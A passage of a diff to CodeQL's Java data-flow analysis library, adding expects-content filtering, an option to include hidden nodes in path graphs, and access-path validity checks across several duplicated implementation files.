+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl6.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl6.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl6.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImpl6.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImplCommon.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImplCommon.qll
index 100ffde2616..0079b259260 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImplCommon.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImplCommon.qll
@@ -305,7 +305,7 @@ cached
 private module Cached {
   /**
    * If needed, call this predicate from `DataFlowImplSpecific.qll` in order to
-   * force a stage-dependency on the `DataFlowImplCommon.qll` stage and therby
+   * force a stage-dependency on the `DataFlowImplCommon.qll` stage and thereby
    * collapsing the two stages.
    */
   cached
@@ -328,6 +328,9 @@ private module Cached {
   cached
   predicate clearsContentCached(Node n, ContentSet c) { clearsContent(n, c) }
 
+  cached
+  predicate expectsContentCached(Node n, ContentSet c) { expectsContent(n, c) }
+
   cached
   predicate isUnreachableInCallCached(Node n, DataFlowCall call) { isUnreachableInCall(n, call) }
 
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImplForOnActivityResult.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImplForOnActivityResult.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImplForOnActivityResult.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImplForOnActivityResult.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
